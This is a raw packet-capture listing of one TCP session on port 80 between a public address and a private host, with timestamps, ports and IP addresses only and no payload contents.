Nov 12, 2024 05:03:08.834920883 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.834935904 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.834938049 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.834949970 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.834960938 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.834960938 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.834973097 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.834991932 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835004091 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835028887 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835040092 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835051060 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835062981 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835064888 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835078955 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835108995 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835192919 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835205078 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835222006 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835242033 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835242033 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835264921 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835283995 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835299015 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835310936 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835328102 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835330963 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835340977 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835345984 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835352898 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835357904 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835357904 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835366011 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835385084 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835391045 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835412025 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835429907 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835442066 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835458994 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835469007 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835474014 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835481882 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835503101 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835513115 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835576057 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835594893 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835606098 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835623026 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835647106 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835661888 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835674047 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835690975 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835697889 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835702896 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835720062 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835725069 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835731983 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835745096 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835756063 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835763931 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835796118 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835798025 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835834980 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835848093 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835854053 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835870028 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835885048 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835891962 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835902929 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.835932016 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835939884 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.835995913 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836009026 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836019039 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836030006 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836040020 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836044073 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836064100 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836086988 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836126089 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836136103 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836158037 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836162090 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836172104 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836183071 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836194992 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836195946 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836219072 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836227894 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836258888 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836271048 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836282015 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836293936 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836302042 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836306095 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836313009 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836325884 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836328030 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836339951 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836344957 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836395025 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836484909 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836496115 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836507082 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836517096 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836529970 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836529970 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836549044 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836580038 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836592913 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836599112 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836600065 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836630106 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836641073 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836680889 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836693048 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836703062 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836721897 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836730003 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836736917 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836747885 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836759090 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836772919 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836801052 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836890936 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836903095 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836914062 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836925983 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836934090 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836944103 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836956024 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836968899 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836975098 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836988926 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.836992025 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.836994886 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.837004900 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837016106 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837025881 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.837028027 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837040901 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837044954 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.837060928 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.837070942 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837089062 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.837101936 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837116957 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837122917 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837167025 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837229967 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837234974 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.837243080 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837264061 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837270975 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.837296963 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.837328911 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837347031 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837358952 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837363958 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.837372065 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837383986 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837397099 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.837419033 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.837495089 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837506056 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837517023 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837528944 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837537050 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.837542057 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837554932 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.837562084 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.837587118 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.837598085 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.946002007 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.946054935 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.946064949 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.946139097 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.946150064 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.946161032 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.946161032 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.946161032 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.946161032 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.946178913 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.946197987 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.947292089 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.947310925 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.947324038 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.947335958 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.947357893 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.947374105 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.947376013 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.947396994 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.947410107 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.947419882 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.947427034 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.947438955 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.947449923 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.947458029 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.947490931 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.947652102 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.947693110 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.947694063 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.947705030 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.947734118 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.947748899 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.947839975 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.947850943 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.947860956 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.947874069 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.947887897 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.947905064 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.947913885 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.947916031 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.947927952 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.947942972 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.947969913 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.948004007 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948014021 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948024035 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948035002 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948045015 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.948048115 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948060989 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948067904 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.948087931 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.948093891 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948105097 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948107958 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.948111057 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948121071 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948132992 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948141098 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.948142052 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948154926 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948170900 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.948182106 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948185921 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.948193073 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948205948 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948214054 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948219061 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.948226929 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.948257923 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.948261023 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948271036 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948281050 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948288918 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.948292971 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948314905 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.948343039 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.948349953 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948360920 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948370934 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948383093 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948394060 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948395014 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.948405027 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948419094 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948421001 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.948432922 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.948441982 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948458910 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948462009 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.948471069 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948482037 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948484898 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.948493958 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948504925 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948517084 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.948535919 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.948905945 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948919058 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948950052 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.948987961 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.948999882 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949011087 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949021101 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949028015 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949033976 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949052095 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949079990 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949131012 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949141979 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949151993 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949162006 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949173927 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949173927 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949186087 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949198008 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949202061 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949208021 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949217081 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949218988 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949232101 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949238062 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949249983 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949258089 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949285984 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949327946 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949337959 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949347973 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949358940 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949369907 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949372053 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949378014 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949381113 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949393988 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949410915 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949436903 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949457884 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949467897 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949477911 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949496031 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949500084 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949507952 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949518919 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949523926 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949529886 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949536085 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949539900 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949544907 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949544907 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949558020 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949570894 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949595928 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949595928 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949609041 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949624062 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949625015 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949635983 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949645996 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949645996 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949657917 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949677944 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:08.949743032 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949754000 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949764967 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949775934 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949785948 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:08.949790001 CET	49958	80	192.168.2.5	185.215.113.16
